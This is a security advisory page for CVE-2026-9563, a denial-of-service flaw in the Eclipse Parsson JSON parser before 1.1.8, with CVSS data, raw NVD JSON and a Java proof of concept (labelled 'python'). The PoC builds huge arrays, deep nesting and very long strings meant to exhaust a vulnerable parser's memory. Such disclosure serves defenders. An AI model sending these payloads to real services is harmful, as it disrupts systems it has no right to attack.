Security Vulnerability Report
中文
CVE-2026-9563 CVSS 7.5 HIGH

CVE-2026-9563

Published: 2026-07-02 09:16:19
Last Modified: 2026-07-02 17:44:12

Description

In Eclipse Parsson published Maven Central artifacts before version 1.1.8, the JSON parser did not enforce a default maximum on the number of characters consumed while parsing a single JSON document. Applications that parse attacker- controlled JSON can be forced to consume excessive CPU and memory by processing very large documents, including large arrays, objects, strings, numbers, whitespace, or nested structures, resulting in a denial of service. Eclipse Parsson 1.1.8 introduces a configurable maximum parsing limit with a default limit of 15 million parser-consumed characters.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Eclipse Parsson < 1.1.8
Eclipse Parsson 1.1.7
Eclipse Parsson 1.1.6
Eclipse Parsson 1.1.5
所有发布到Maven Central的1.1.8之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-9563: Eclipse Parsson JSON Parser DoS // This PoC demonstrates how to trigger excessive resource consumption // by sending an oversized JSON document to an application using // Eclipse Parsson < 1.1.8 import jakarta.json.Json; import jakarta.json.JsonReader; import jakarta.json.JsonStructure; import java.io.StringReader; public class CVE_2026_9563_PoC { public static void main(String[] args) { // Method 1: Craft an extremely large JSON array // This creates an array with millions of elements to exhaust memory StringBuilder largeArray = new StringBuilder("["); int elementCount = 20_000_000; // Exceeds the 15M default char limit in 1.1.8 for (int i = 0; i < elementCount; i++) { if (i > 0) largeArray.append(","); largeArray.append(i); } largeArray.append("]"); // Method 2: Deeply nested JSON objects to cause stack/memory exhaustion StringBuilder deepNested = new StringBuilder(); int depth = 100000; for (int i = 0; i < depth; i++) { deepNested.append("{\"a\":"); } deepNested.append("1"); for (int i = 0; i < depth; i++) { deepNested.append("}"); } // Method 3: Extremely long string value StringBuilder longString = new StringBuilder("{\"data\":\""); longString.append("A".repeat(50_000_000)); // 50 million character string longString.append("\"}"); // Trigger the vulnerability - attempt to parse the malicious JSON // In Parsson < 1.1.8, no default limit is enforced try { JsonReader reader = Json.createReader(new StringReader(largeArray.toString())); JsonStructure result = reader.read(); System.out.println("Parsing completed (vulnerable version - should not happen gracefully)"); } catch (OutOfMemoryError e) { System.out.println("DoS triggered: OutOfMemoryError - " + e.getMessage()); } } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9563", "sourceIdentifier": "[email protected]", "published": "2026-07-02T09:16:19.247", "lastModified": "2026-07-02T17:44:12.130", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Eclipse Parsson published Maven Central artifacts before version 1.1.8, the JSON parser did not enforce a default maximum on the number of characters consumed while parsing a single JSON document. Applications that parse attacker- controlled JSON can be forced to consume excessive CPU and memory by processing very large documents, including large arrays, objects, strings, numbers, whitespace, or nested structures, resulting in a denial of service. Eclipse Parsson 1.1.8 introduces a configurable maximum parsing limit with a default limit of 15 million parser-consumed characters."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Eclipse Foundation", "product": "Eclipse Parsson", "defaultStatus": "unaffected", "versions": [{"version": "1.0.0", "lessThanOrEqual": "1.1.7", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-02T12:27:19.754441Z", "id": "CVE-2026-9563", "options": [{"exploitation": "poc"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://github.com/eclipse-ee4j/parsson/commit/134e8d101aa74c8b9302d0cb62f6ccb4912a9d0c", "source": "[email protected]"}, {"url": "https://github.com/eclipse-ee4j/parsson/pull/169", "source": "[email protected]"}, {"url": "https://github.com/eclipse-ee4j/parsson/tree/1.1.8", "source": "[email protected]"}, {"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/444", "source": "[email protected]"}, {"url": "https://repo.maven.apache.org/maven2/org/eclipse/parsson/parsson/1.1.8/", "source": "[email protected]"}, {"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/444", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}